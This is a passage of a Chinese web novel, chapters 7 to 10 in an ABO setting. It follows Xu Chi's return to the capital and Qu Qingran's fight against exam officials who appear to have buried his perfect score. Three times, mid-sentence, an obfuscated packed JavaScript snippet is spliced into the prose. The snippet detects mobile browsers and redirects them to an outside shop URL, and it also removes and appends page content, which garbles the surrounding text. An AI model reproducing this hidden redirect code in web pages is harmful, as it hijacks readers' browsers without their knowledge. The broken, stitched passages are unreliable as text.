“我是觉得你太憋屈。”对面不乏义愤填膺的说:“想你在十六区前呼后拥为所欲为,那日子过得多逍遥啊!进城了反倒畏首畏尾,实在不像你的作风,难不成有包袱了?想当个忍气吞声的文化人?” “明都毕竟不是六区,靠拳头就能说话。”贺栩说:“而且我想不通他们为什么要叫我回来。” “这有什么好想不通的,因为你是老贺家的血脉啊。”对面道:“老一辈很注重血统传承的。” “你觉得是出于家人爱?”贺栩说:“一家人就该齐齐整整什么的。” “不然呢,你家老爷子为了把你调进首军大连自己老辈的功勋章都祭出去了,那是卖了多大的面子啊!要知道只有明都本地人才有参加统考的资格,还得卷生卷死拼综合能力,你家老爷子费这么大劲让你无痛入学,总不能是为了逗你玩儿,多少是有点爷孙爱的吧?” “如果真是这样就好了。”贺栩惋惜道。 “你说什么?”对面没听清。 “没什么,帮我找房子去吧,有空请你吃饭。”贺栩闭了一下眼,再睁开时便换了副神色。 “行,晚点发地址给你。” 电话挂断,贺栩将车开到了江边,横江贯通明都,是明都经济发展的重要命脉,远处有轮渡缓慢行驶,江对岸的灯光带绵延闪烁如星河,遥远而静谧。 靠在车前盖上,贺栩又摸出了一根烟,却没有点燃,只是在指间转来转去。 回想起那天,他收到这封家书时,心底除却惊讶,还有一些别的情绪。 自打他有记忆开始,身边就只有母亲一个人,后来母亲去世,他就独自奔袭在远方。 母亲不是个伤春悲秋的人,从未因为父亲的缺席有过怨言,也不觉得那是什么“抛弃”。 恰好六区极少有家庭健全的人,大家都是大哥莫说二哥,所以即使只有他们两个人也生活的轻松自在。 这二十年来,贺家从未联络过他,也不知道是怎么打听到他的下落的。 当代网络通讯发达,横跨半球的消息也能须臾送达,纸制书信早已不流行,这封信却能跨越千山万水,几经周转,被信差亲自送到他的手中。 火漆封印,内容是纯手写的,每个字都带有钢笔特有的少许洇开的墨迹,落款是“父贺潮生,祖父贺鸣金”。 内容很长,大致是说贺家现在在首都地位稳固,家境殷实,生活优渥非常,贺潮生对他颇为思念,想接他回首都共享天伦之乐,弥补幼年的缺失。 扪心而问,贺家的生活优渥与否他并不关心,但对“天伦之乐”四个字却有一点好奇。 仅仅是好奇。 虽然这并非是他答应前往明都的全部理由,可确确实实被这四个字推了一把。 人心一旦设立预期,免不了要落差,贺栩想,原本可以做到一直心如止水的,要怪就怪贺潮生当时没忍住拍了他一下...... 一大把岁数了,一点都不稳重,既然不打算给父爱,那就不要随便动手动脚啊喂! 贺栩啊贺栩,还是心智不够坚定啊! 贺潮生显然不堪托付,不过二十年没有负过责任的男性Alpha一夕之间生出愧疚,概率之低堪比一根成年香蕉爱上苹果,不过更令他惊讶的是贺潮生的性格并不如他所预想的那般果决,反倒是优柔寡断。 而且贺潮生似乎并不知晓他会出现在明都。 这就奇了怪了,恳求他回明都的那封信分明是以贺潮生的口吻写的。 所以那封信真的是贺潮生写的吗? 带了点苦味的烟侵入喉咙,贺栩咳嗽了几声,掏出手机,心不在焉的翻了翻朋友圈。 来明都之后他换了手机卡,新的账号上联络人寥寥无几,这会儿一刷挂在最上面的状态眼熟又不那么眼熟。 【我的努力不是小狗屁】:去你大爷的,系统繁忙是吧?让我回去等消息是吧?明天我还打![图片][图片]。 贺栩随手给他改了个备注,又点开配图,发现是一堆通话记录,全是考试办的去电,平均二十分钟一个,一个下午打了二十几个。 “还真是锲而不舍啊......”贺栩不由得叹服,他看着这条怨气冲天的朋友圈,不知怎么的心情就愉悦了起来,轻盈的像是被塞了团棉花。 他唇角上扬,反手给对方点了个赞。 - 曲青然下了贺栩的车就没回葛家,他蹲在麦佬当的门面餐厅里,找了个角落里有插座的位置充上电,然后就开始了对考试办的狂轰滥炸。 “系统繁忙,当前查问人数过多,七十二小时内反馈核验结果。” 傍晚时分骆一白结束了亲子时光,赶过来与曲青然接头。 “这话我听得耳朵都要起茧子了!居然连转人工的选项都没有!纯机器人吗!”曲青然怒不可遏。 “我听说现在考试系统全面电子化,就算是纸质答题卡也是扫描成图像上传到AI系统里,系统会识别答题卡上的非答案部分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358017|199718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进行消除,对答案进行整理,考官阅卷的时候隔着屏幕看不到考生信息,连字迹都大差不差,所以阅的就只有答案本身,对就是对,错就是错。”骆一白说:“最后批改完也是系统算分,自动推送上传成绩,几乎没有人工能插手的位置,以前阅卷要好几个月,一遍两遍三四遍的复核,现在两三个星期就出结果,本质就是提升了教育公平还有效率。” 骆父表达父爱的方式就是给儿子花钱,骆一白手里是大包小包,他一贯乐于投喂好兄弟,拆了一包新鲜出炉的蓝莓挞就往曲青然嘴边递:“安森哥见多识广,他怎么说啊?” 曲青然咽下这一口碳水炸弹,这才想起一直在打电话好久没点开V信了,再点开发现祁琛居然回了他消息。 【祁琛哥】:“没必要打,白费力气。” 曲青然的眉毛立刻耷拉下来。 “咋了?” 骆一白看他蔫头耷脑,像只丧家的狸花猫,伸头看了看,略有唏嘘,“怎么说呢,安森哥这么说也有他的道理......首先这种国家性的大考试肯定是经过重重审核,出错的概率很低啦,再者就算出错......如果不是什么大错对方也肯定不会承认,不然公信力不就没了。” “所以你也觉得我没必要打么?”曲青然说。 骆一白犹豫了一下,道:“打也行,就当......给自己一个交代嘛。” 曲青然垂目。 少年纤长浓密的睫毛盖住了明亮的瞳眸,他的唇薄薄的,抿紧时像一线刀锋,透着坚毅。 “你手机借我用一下。”他忽然倾身去掏骆一白的口袋。 “干嘛?”骆一白道。 “你身份证和准考证号多少。”曲青然说。 “我也不记得,不过记在手机备忘录里呢,你翻翻。”骆一白说。 曲青然手指翻飞点屏,随后拨了个电话出去。 “喂你好,考试办吗?”他目光凝拢:“我叫骆一白,是这次明都统考的考生,身份证号XXX,准考证号XXX,对分数有异议想查分。” 骆一白:“????” 骆一白:“青崽你在搞毛——” 下一刻,他看见曲青然同时按下了免提和录音,将手机微微放平。 “尊敬的考生,经相关人员核验,您的考试成绩无异常,感谢致电。” 骆一白:“???” 骆一白:“卧槽!这么快的吗?” 骆一白:“这这这!” “看来就算是全面电子化也做不到百分百的公平。”曲青然幽幽道。 “那你现在打算怎么办?”骆一白担忧道:“从出分到确认志愿的窗口期一共也就三天,它要真拖个七十二小时,你岂不是连调剂的机会都没有?” “傻子才坐在这里干等。”曲青然从桌子上抄起塑料袋,开始往里装东西,“这个面包你吃不吃?不吃给我,牛奶喝吗?不喝也给我。” “给你给你都给你,本来就都是买给你的。”骆一白拼命挥手,茫然说:“所以你打算干嘛去?” “去考试办蹲点!”曲青然活像一只即将迁徙的俊俏的土拨鼠,将一口袋食物抡到肩膀上,表情肃杀,“我就不信面对面他们还不给我个交代!” 8. 第 8 章 对面儿人际通达,很快就给贺栩找到了合适的房源,一家位于市区高层的LOFTER,商用水电,家具齐全,可以拎包入住。 远远看去,整个建筑灯火通明,冰冷精致,没有丝毫人气可言,按照对面的话来说,这种堪比样板房的美丽废物很少会有人真的买来居住,大多是一些搞自媒体的主播会租来拍照或是录vlog用的,真要住人时间长了精神会有问题。 如此环境贺栩倒是很受用,他本来也不是个恋家的,有地方安置东西就行,人烟稀少倒是省去了许多麻烦。 进家之后他草草收拾了一下,就倒在懒人沙发上开始酝酿睡意,没多一会儿手机响起来,贺栩掀掉盖在脸上的报纸,发现来电显示是“贺鸣金”。 贺栩眯了眯眼。 他不急不缓的滑动屏幕,电话那头传来老态龙钟的声线一道,沙哑,带着些电流的杂音: “老大。” “阿爷。”贺栩说:“这么晚了还没睡?” 对面停顿了一下,没有回答他的问题,“在你爸那儿住的还习惯吗?” 是“那儿”不是“这儿”。 贺栩挑眉道:“我以为阿爷知道清怡嘉园失火的事情。” “什么?”贺鸣金的嗓音一沉:“这么大的事,没有人告诉我。” “事发突然,爸爸说安全隐患还没排除不方便我住进去,就让我先走了。”贺栩四平八稳的说:“好在我已经找到房子住了,阿爷不用担心。” “好好的房子怎么会失火!早不失晚不失,偏偏你来了就失!我看就是贺凡那个小兔崽子搞的鬼!”贺鸣金怒声道:“你爸也是,当所有人都是傻子吗!不安全所以不让你住,倒是放心让他的老婆和小儿子住!天底下哪有这样当父亲的!揣着明白装糊涂!” 贺栩开了免提,将手机往地毯上一扔,起身去烧水。 “所以你就真听他的搬出去住了?”贺鸣金缓了缓情绪,追问道。 “嗯。”贺栩一边等水开一边点开外卖软件,找寻附近的超市。 “傻孩子!他们在排挤你啊!”贺鸣金痛心疾首道:“你居然就这么忍下了?” “阿爷,我也是听你说了才回过味来,心里真是不好受。”贺栩的语调完美复刻贺鸣金的痛心疾首,面无表情的研究桌上咖啡机的使用说明书,“但是退一步想想,那是我爸呀,他也不容易,我不忍心不体谅他。” “你体谅他,他体谅你吗?”贺鸣金怒斥道:“他是先跟你妈结婚先生的你!后来就因为你妈妈的信息素等级不够高才中途改娶了梁家千金!二十年了他问过你跟你妈吗?他挣的千万家产你跟你妈享过一点福吗?说他抛妻弃子不为过!” 超市快递送货上门很快,贺栩将东西归整入冰箱,拿了新鲜牛奶出来打泡,“阿爷你别说了,我听着难过。” “唉......”贺鸣金长叹了口气说,“孩子,阿爷不忍心看你明珠蒙尘,这才想办法把你从十六区那个穷乡僻壤调回来,你自己要争气啊!” “放心阿爷,我在首军大一定会好好努力,不会让你跟爸爸失望的。”贺栩一边拉花一边说。 “你起步比所明都城里的孩子都要晚,比不上别人被嘲笑几句也是正常的,但是你自己心里一定要有数,知道自己要什么,要学会去争。”贺鸣金说:“你继母跟你弟弟......该反抗的时候就要反抗,明白吗?只要你爸爸是站在你那边的,就不用怕他们。” “谢谢阿爷,我知道了。”贺栩将手机捡回来,调到拍照模式,“阿爷你也早点休息吧,我想一个人去冷静冷静。” “行,去吧,可怜的孩子......”贺鸣金说:“别哭太久了,明天还要去首军大报道。” “啪嗒” 电话挂断,贺栩调整光圈给自己精心调制的拉花咖啡怒拍七八张照片,挑了张构图最好的甩进朋友圈,配文:“咖啡,你的味道是孤独,开学便是前途未卜了[图片]。” 字里行间都是淡淡的忧伤。 很快就有人点赞评论。 【Anson 祁】:开学认识新朋友了就会好的[握拳] 【AAA坠日酒吧新品来袭】:知道爹给你找的房子视野很好了,跪安吧。 【曲-祁组长的暗恋对象】:叽里咕噜说啥呢有学上还不好![猫猫大怒.jpg] 贺栩觑着最后那条内容。 没有技巧,全是情绪。 纯针对啊,这小子。 贺栩挑唇,指尖一叩叩开了聊天框,悬了片刻又退出了,将咖啡喝完,洗净杯子躺平,定了个起早的闹钟。 - 翌日清晨,贺栩换了身清爽的T恤长裤,又给车轮打足了气,稳稳驶往首军大, 统考成绩刚公布,首军大的招生工作尚未正式开展,招生办大楼还是一片祥和。 因为招录流程特殊,专门有一位年轻的女老师出来接待他,看样子刚入职不久,穿着还有几分学生气,工作制服里面是一件圆领花衬衫,领口上绣着卡通动物,站在贺栩面前矮快一个头。 “你,你好贺同学,叫,叫我巫老师就行。”巫欠欠磕磕巴巴的说。 “巫老师。”贺栩礼貌道。 “我们还要等一位同学一起。”巫欠欠捏着手机的动作充满焦灼:“他,他应该很快就到了。” 要同时接待两个关系户,看得出来她压力山大,贺栩温和道:“没事。” 等了又等没人露面,巫欠欠额头上挂着豆大的汗珠,火急火燎的又出去打电话了,贺栩百般聊赖,坐在沙发上观赏墙上的挂画,忽而听见隔壁传来一点吵闹声。 墙壁的隔音效果其实不算差,但架不住对面的人没收住音量,且贺栩的听力又比一般人灵敏,附耳过去,居然能听的一清二楚。 “你问我怎么办?我问谁去?” “上头给我发的名单里就没有这个人!” “我是知道这个曲青然不能录,可为什么不能录?摘出去的原因是什么,零个人告诉我啊!” “谁都知道现在阅卷是智能化透明化!连消息推送都是系统自己做主,一眨眼就发出去了,哪儿有能运作的空间啊!” “他们倒好,上下嘴皮子一碰,要风要雨要江山了!有本事别挑真学霸霍霍呀!人家满分!就有本事考这个成绩!就是奔着首军大的临床医学去的!” “把人家饭碗子说掀就掀,人家现在打电话上门来问了!让我怎么解释?我看起来像是新华字典吗什么解释都有!” “昨儿还能说是系统繁忙,这种自动回复能糊弄几天啊!人家又不傻!等着填报志愿呢!” “我看上头自己都未必知道怎么解释,锅倒是知道甩!基层不是人,基层活该给他们擦屁股!” “要么怎么人家能当领导呢!有人性就不是领导了!” “嘘嘘嘘,许主任你小声点,不要被有心人听去做文章。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358018|199718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我瞧着上班到现在了,那号码没来电话,没准儿知难而退了!” “我也觉得,昨天一下午打了二十几个电话,肯定累得够呛,而且稍微通点人情世故的人都应该能猜到这里面铁定是发生了点什么的......” “就是啊,他肯定是得罪了什么大人物,或者是吃了什么重大处分,总归不可能是清白无辜的,不然为什么局里不搞别人偏偏搞他呢,我要是他,与其做这种无用功不如反省反省自己。” “我刚刚查了那个曲青然的家庭住址,家住葛家巷......条件一般,还是个Beta,这贵族专业真不是非上不可......以后有的烧钱呢。” “但愿吧,只求他别来烦我了。”考试办办公室主任许文奇头顶冒烟道:“回头把我惹毛了,信不信我把电话线拔了!让他想打都打不进来!” 那头又是一通安慰,贺栩缓缓站直了身体,听到背后有人气喘吁吁进门道:“贺,贺同学。” 贺栩转身,见巫欠欠满脸通红道:“不,不用等了,那个同学不来了。” “不来了?”贺栩看了眼时间,不知不觉他已经等了近一个小时,“学不上了?” “不是......说是临时出了点事来不了,我可能改天还得再去接他一趟。”巫欠欠无奈道。 “这么临时,那得是天大的事了吧?”贺栩轻飘飘道:“家里死人了?” 巫欠欠:“......” 女老师扯了一下嘴角,勉强算是回应他的地狱笑话,招招手示意他跟自己去档案库。 “唉,是个Omega啦,说是这两天快到发情期了,懒得出门。”她边走边絮絮叨叨的吐苦水。 当代针对A和O信息素的保健技术已经相当成熟,除非极个别突发的状况,无论是随身携带的抑制环还是短效的抑制药物都可以做到对A和O彼此特殊时期的良好管控,也让这两种性别的人尤其是Omega在找工作时少了许多的限制。 邻近发情期懒得出门,这种告假理由已经很少见了,更别说批允。 “他报的什么专业?”贺栩说。 “临床医学。”巫欠欠说。 “以后病人要抢救,他也懒得出门?”贺栩说。 “你这话问的,人家家里有人。”巫欠欠长吁短叹,“还能真让他上一线啊,坐坐办公室顶了天了,再说了......现在太平盛世,也没什么机会真要军医上前线,无需操心啊。” “太平盛世。”贺栩品了品这四个字,意味深长。 巫欠欠虽然瞧着嫩,办事却利落,之前祁琛帮他准备的材料也齐全,很快就搞定了录入。 “贺同学,你还可以先去挑宿舍。”巫欠欠热情的说。 “晚点吧。”贺栩说。 “行,那你自便。”巫欠欠说。 贺栩点头,与之道别。 短短半个上午,他在这所首都知名学府也算是开了不少眼界,贺栩一边掂着车钥匙,一边想着那个让众人都焦头烂额的曲青然,也不知道现在在做什么。 这个名字一出,那张白皙的瓜子脸浮现在眼前,清冷的五官因为生气而微微聚拢,显得分外生动活泼,又因为脸实在是小更像只猫了。 “咻” 猫影窜过。 贺栩一愣,第一次对自己的感官产生了怀疑,他猛地回头,就看见曲青然扛着一个比头还大的帆布袋子往招生办大楼横冲直撞而去。 9. 第 9 章 “回来!!不准进!!!” “抓住他!!!抓住他!!!” 门卫大呼小叫,手一招唤来了保安,前前后后加起来足有五六个人,对曲青然进行围追堵截。 大楼前方是一片停车场,还有几棵胡杨树,曲青然在其中窜来窜去,行踪诡异,脚不沾尘,一群人包抄了好一阵子居然愣是连他的毫毛都没碰到一根。 贺栩对他都有点子心生敬佩了,刚要掏出手机来录像就听到“哗啦”一声,曲青然肩膀上的幡布袋子撕裂了,只剩半拉破布还挂着,稀里哗啦的开始往外爆装备,有四个一盒装的黄油年糕,纸包的虎皮毛巾卷,散装的去皮夏威夷果...... 好一个行走的人形“来亿份”。 别说那些个门卫保安了,就连自诩平素见惯大场面的贺栩都瞳孔震颤了半秒钟,随后就看见那本该稳稳占据上风的旋风小子掉头下蹲表演起了狗熊掰棒子,一路捡一路掉,一路掉一路捡,到后面贺栩都有点儿看不下去了,只想伸手扶额,那些个门卫保安也回过神来,冲上前架胳膊的架胳膊,抬腿的抬腿,将曲青然连同他的零食大礼包一起轰出了门。 “你们就是心里有鬼!”曲青然忙活了一通又回到了起点,站在大门外头愤怒的拆开一包梆硬的恰巴塔,怼进嘴里边嚼边怒吼,“不然凭什么不让我进去!” “凭什么让你进去啊,你谁啊!”门卫白眼翻上天。 “我要见考试办的许主任!”曲青然说。 “许主任今天不在。” “你撒谎!”曲青然说:“我早上亲眼看见他来上班了!” 门卫狐疑的扭头,就见曲青然把恰巴塔叼在嘴里,腾出手来扒拉手机相册。 “我凌晨三点就守在这儿了!”少年一本正经的向他展现自己的盯梢成果,有图有真相,“早上六点之前你们这里进出了三辆车,应该是晚班换班,六点到八点之间五辆,来的最晚的那辆副驾驶上是许文奇,车牌号为XXXX,他下来之后就上了那栋楼的四楼,中途出来上了两趟厕所,后来就在那个办公室里面待着再也没出来了!我也一直盯着他的车位呢!想骗我,门儿都没有!” “你凌晨三点就来,来,来了?”门卫瞳孔地震,舌头都结巴了,忽然就理解他为什么大包小包背了这么多食物,就差把“打持久战”几个字写在脸上。 “你有病吧!” “你才有病呢!”曲青然不甘示弱,大声嚷嚷,“我有事情要咨询考试办!你不让我进去我就待在这里不走了!我就不信许主任他也不下班不回家!” “你你你,你你你!”门卫冲着他疯狂甩手指头。 “我怎么了!”曲青然梗着细长的脖子,“你想打我吗?你敢打我我立马躺下!告诉你我骨质疏松!心脏也不太好——” “你这个小同志简直简直——”门卫憋了半天,“毫无素质!” “你们这些老同志才是!”曲青然说:“助纣为虐!” 门卫:“......” 门卫没招了,好赖他们也是给首军大打工,代表着首军大的脸面,不能跟曲青然比无赖,几个人高马大的保安面面相觑,正不知所措,忽而看见远处驶来一辆车,一个年轻人从车上下来。 “哎!!小祁老师!!”门卫眼前一亮,如同看见了救世主一般,“小祁老师!!救命啊!!!这里来了个无赖小混子要碰我们的瓷——” 曲青然白眼几乎要翻到头顶上去了,跟着一道回头,倏然绽开笑靥,叫的比门卫还敞亮。 “安森哥!!!”他挥舞双臂一蹦三丈高:“救命!!救命!!” 门卫:“???” 祁琛今天穿了件拉夫尔劳伦的衬衫打条纹领带,依旧是挑不出错处的学院风带点老钱味,走到哪里都自带上流贵气。 刚关上车门他就觉得耳朵嗡嗡的,魂都要被人叫走了,满头问号的举目,就看见曲青然和学校门卫剑拔弩张的挤在一块儿。 跟五六个人高马大的保安门卫同框,曲青然明显势单力薄,漂亮的桃花眼被青黑色包裹,散发着倦怠的意味,精神欠佳。 祁琛的心口微微刺痛,下意识的疾步上前,但他提膝,却没真的落下脚步,手里捏着一个透明的文件袋,里面装着各种证件和告知书,文件袋一隅贴着一粒小小的水钻,还残留着着Omega身上独有的橙花的气味。 会在这里遇见祁琛曲青然完全没料到,但原本动荡不安的心绪明显得到了抚慰,曲青然松了口气,见祁琛似乎是收拾了一番才走过来,目光却没有直接看向自己。 “安......”他张了张嘴还想再喊一声,门卫却抢在前头告状道:“小祁老师,这小混......小同学是你朋友啊!那事情就好办了,你快跟他说说道理吧!让他别在这儿胡闹了,没考上理想的专业固然可惜,但人家主任领导也不是居委会大婶,还要负责你的情绪安抚不是?” “谁要你们安慰,我只是想要个答案!”曲青然急巴巴的反驳,转头又道:“安森哥你是不知道,我打考试办的电话根本就——” “我不是让你不要打吗?”祁琛陡然打断了他的话语,脸色隐隐发灰。 “什么?”曲青然的眼睛瞪大了些,语调僵硬。 祁琛深吸了一口气,太阳穴发胀的厉害。 这两天邻近他的易感期。 从前有抑制环周期性调节,易感期都能平缓的度过,偶有烦躁头痛持续的时间也不会太长,睡一觉就过去了。 但这次不适感尤为强烈,从昨天那顿饭之后一直到现在都没有缓解的意思。 他原本想去诊所开点口服药再去买个新的抑制环,却忽然收到了韩平的消息,说韩闵敏发情期提前来了,不方便去学校报道,让他代为办手续。 于是他不得不暂且忍耐下,替韩闵敏东奔西跑的补全了材料,期间又接了祁治廉的几个电话,警告他好好办事不要出岔子者有,PUSH他抽空去探望韩闵敏者有,总之弄的他愈发紧绷。 而现在,他又被架在了学院和曲青然之间。 祁琛的呼吸急促。 曲青然的脾气犟他知道,但没想到会这么犟,电话里没有问到答案,居然杀到考试办的基地来了。 他望着曲青然脏兮兮灰扑扑的造型,还有手里攥着的半截破碎的帆布袋,乍一看像个拾荒的小流浪汉,眉头皱的更紧。 考试办当然不可能如愿给曲青然一个交代。 昨天到今天,他其实已经大致猜到曲青然身上发生了什么事。 虽然他也震惊于世界上居然会有这么巧的巧合,令两件互相矛盾的事顶顶好的交汇在他一个人身上。 但韩闵敏和韩平在明都权势滔天已经是不争的事实,有无数人因此遗憾退场,无数人经历无可奈何,曲青然是其中之一,考试办是其中之一,他自己又何尝不是? 他在学院里素来是儒雅规矩的形象,人人尊称他一声“小祁老师”,今天如果站在这里替曲青然撑腰,往后恐怕也要被贴上“混子”的标签,且倘若让韩平和韩闵敏知道自己跟曲青然的关系...... 后果不堪设想。 祁治廉从小就教育他大局为重。 在大局面前,他自己都能忍则忍,别人难道不能忍么? “对不起黄师傅。”祁琛的声音有些哑,扯了扯嘴角,“我学弟莽撞,我来同他说说。” 言罢,他用力将曲青然拽到一旁。 曲青然踉踉跄跄站定,听祁琛深吸了一口气,闷声道:“你这么做是在浪费自己的时间。” “你为什么这么说?”曲青然奇怪道:“我在为我自己争取权益!他们欠我一个答案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358019|199718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “没有人欠你任何东西!”祁琛咬牙说:“这世上没有什么东西就该是你的!” “胡说八道!”曲青然说:“该是我的就是我的!” 祁琛的眉峰下压,令他平素俊秀阳光的面容染上了几分戾气,他倏然冷笑了一声道:“是,你是很聪明能考很高的分,但这么大的明都难道优等生就你一个吗?” 曲青然猛地愣在原地,表情呆呆的像是被雷劈了一样,眼睛瞪圆,看他丝毫没有软化的表情,祁琛只觉得胸口巨浪翻腾,恼人的燥意直往头顶冲,像一把要破颅而出的刀子:“从古至今聪明人数不胜数,难道各个都有出头之日吗?一命二运三本事,前两者占大头,没有的话就算你有翻天的本事也是徒劳!” “你在说什么啊?安森哥。”曲青然古怪的看着他,像在看一个陌生人,“你在否定我吗?” “我不是否定,我是在教你认清现实!”祁琛怔了怔,后脊梁被冷汗浸透,他后知后觉自己适才的语气太尖锐,抿了一下发干的嘴唇,哑声道:“不要一味的钻牛角尖——” “怎么才算不钻牛角尖?”曲青然的眼神发冷,定定的反问他:“你告诉我,怎么才算不钻牛角尖?” 祁琛张了张嘴。 “或者你告诉我,我现在应该做些什么?”曲青然说:“做什么,才能让我之前的努力不付之东流,看起来不像个笑话,让我达成目标,不至于这么意难平!” 祁琛发现自己回答不了这个问题。 也是,同样的问题搁置在他自己身上都尚且没能找到答案,遑论曲青然呢。 “我只知道,就算是这样折腾,也达不成你的目标。”他有些泄气,一字一句的说:“考试办乃至整个教育系统都不是你想的那么简单,往后进学,工作,处事,也都不是一张试卷一个答案那么简单,若是提前知道结局会失败就没必要白费功夫,因为做不做都一样,过程中浪费的是自己的精力丢的也是自己的人!” “不一样!”曲青然斩钉截铁道:“努力过了我就不会后悔!而且我不怕丢人!” 他猛地将手里拿半截帆布袋子扔在了地上,用力踩了几脚,森然道:“祁琛你要是还打算继续跟我说这些话就没必要再继续说下去了。”他指了指校门,“你进去吧,就跟门卫说认错人了。” 祁琛身形一颤,只觉得胸口被刺了一刀,痛的厉害,那种痛甚至压倒了太阳穴里的胀痛与眩晕。 “阿青我——” 他心慌的厉害,欲言又止,末了捏紧了拳头,还是转身走了。 一直到他的身影消失在楼宇之间,曲青然才重新开始呼吸,他的唇色发白,强压着的怒火像骤然被囚的羚羊一般在胸膛里肆意顶撞。 他感觉自己快要四分五裂了。 从出分到现在他几乎没有合眼,也没有好好吃一顿饭,保安和门卫各个都是Alpha,真要硬碰硬他一个人就没有胜算可言。 正如祁琛所说,他所做的一切,真的犹如螳臂当车,莽撞的要命。 但除却如此他还有第二个选择吗? 没有。 曲青然无力的闭上眼,靠着栏杆缓缓滑下去,揪住头发。 难道真的就像祁琛说的那样,他不应该再坚持,放弃了拉倒了...... 就没有别的办法了吗?还有没有别的办法呢? “嘬嘬嘬。” 有人在他耳畔咂嘴。 曲青然一愣,呆呆的抬起头。 入目是一个穿着白色衬衫和牛仔背心的大帅比,脖子上挂着一串银色的蛇骨链,头发抓了个顺毛造型,比初见那日的机车男模look少了许多野性,多了清爽的少年气。 曲青然正丈二和尚摸不着头脑,就见贺栩漫不经心的往前走了几步,背在背后的手蜷起,并指冲他勾了勾。 10. 第 10 章 曲青然也不知自己哪根筋搭错,居然真拍拍屁股跟着贺栩走了,边走边狐疑的盯着贺栩的背心,如若眼神有实体,贺栩大概已经被扎成蜂窝煤了。 贺栩却信步闲庭,浑然不觉似的,语调轻飘飘,“去过海边吗?” “没有。”曲青然硬邦邦的说:“咋了?” “海边有沙滩,离海域远的地方沙子会被太阳烤的很干。”贺栩说。 “以前学校里有沙坑,就算不去海边我也能摸到沙子谢谢。”曲青然没好气的说。 “那你应该明白干沙握的越紧漏的越快这个道理。”贺栩说。 曲青然默了两秒,眼神里没了鄙视。 “但我没有别的办法。”他站定,压低声音道。 “之前没有不代表也没有。”贺栩转过身,指了指人行道,“站这儿等着。” 说完他原路返回,曲青然杵着马路牙子四下看了看,这是个直角弯,一侧是马路,另一侧是首军大严丝合缝的围墙,又高又厚,顶端还缠绕着电线和铁丝,蔓延千里看不到头。 要么怎么说古代城墙是超绝防御性建筑呢,连匈奴都打不进来,曲青然无奈的仰着头,看着那近在咫尺却死活进不去的办公大楼,面有菜色。 微弱的电流声由远及近,曲青然猛地转身,就看见自己盯了一夜的车终于开了出来!许文奇刚换的新能源轿车提拉斯没有燃油发动机的鼓噪,说加速就加速,想要悄咪咪逃逸简直易如反掌。 曲青然急的如热锅上的蚂蚁,车道通天长,他追不上许文奇,以后也不可能再堵到许文奇,此刻只能眼睁睁看着,那种无力和绝望几乎要把他杀死了,倏然间,他又听见了“嗡嗡”两声,仿若野兽捕猎前爆发出的怒吼。 一辆没有LOGO的SUV闪现对面车道,以强劲的马力加速,顷刻追上提拉斯。 许文奇大概没料到对方逆向行驶就算了还这么理直气壮,下意识减速让行,可那SUV半点没有知错悔改的意思,车头一甩撞向提拉斯,提拉斯被挤的无处可让,车轮骤翻狠狠地碾上马路牙子! “吱嘎!” 橡胶轮胎摩擦砖石,尖锐的刹车声让曲青然不得不抬手捂耳朵,他感觉这两辆车相撞已经是必然的结局了,恐怕连人行道上那根电线杆子都不能幸免,他人已经退到围墙墙角恨不能爬上去避难! 但在提拉斯车头触及电线杆的瞬间,紧急制动发动了,与此同时那辆疯魔的SUV竟然在狭小的直角弯内完成了一个小幅度的漂移,车身横了过来,提拉斯的保险杠给了电线杆轻轻一吻,倒也无痕,只是托那辆SUV的福,车身前后左右没半米空间,完全被卡在了原地。 提拉斯的雷达警报嗓子都快叫破了,许文奇摇下车窗,又惊又怒,一时间眼睛都不知道该看哪儿,末了他顶着青紫青紫的一张脸,狠狠地甩开车门下车,冲着suv怒吼道:“你他妈的是不是有病——!!!” 曲青然惊魂甫定了两秒钟,倏然间若醍醐灌顶! “许主任!!!”他伸手一指,撒腿就扑了上去,“你给我站住——!!” 许文奇原本袖子都捋起来准备去跟SUV的车主干架,却在此刻脊背一僵,转头就想再回车里! 然而为时已晚,曲青然已经如同离弦之箭般射中了他,死死的攥着他的手臂道:“许主任!!我有话要问你!!” “你别过来!你别过来!!”许文奇连连后退,惊恐万状,“你再过来我要叫救命了!!救命!!救命!!” 两个人站在马路上拔河,偶有路人路过纷纷侧目,许文奇摸出手机直想报警,忽听“砰”一声,是那SUV车门开了又关,一个大帅比走了下来,长腿一步抵正常人三步,一眨眼的功夫就闪到了他们跟前。 “二位冷静。”他修长高大的身躯杵在曲青然和许文奇中间将二人分开,淡定劝道。 “好,我冷静。”曲青然气喘吁吁道。 “我冷静不了!!”许文奇咆哮,指着贺栩说:“你踏马怎么开的车!!!这里最疯的就是你!!怎么有脸让别人冷静!!!” “不好意思我以前开越野车的。”贺栩愧疚道:“没见过这么多车道而且追羚羊追习惯了。” 许文奇:“......” 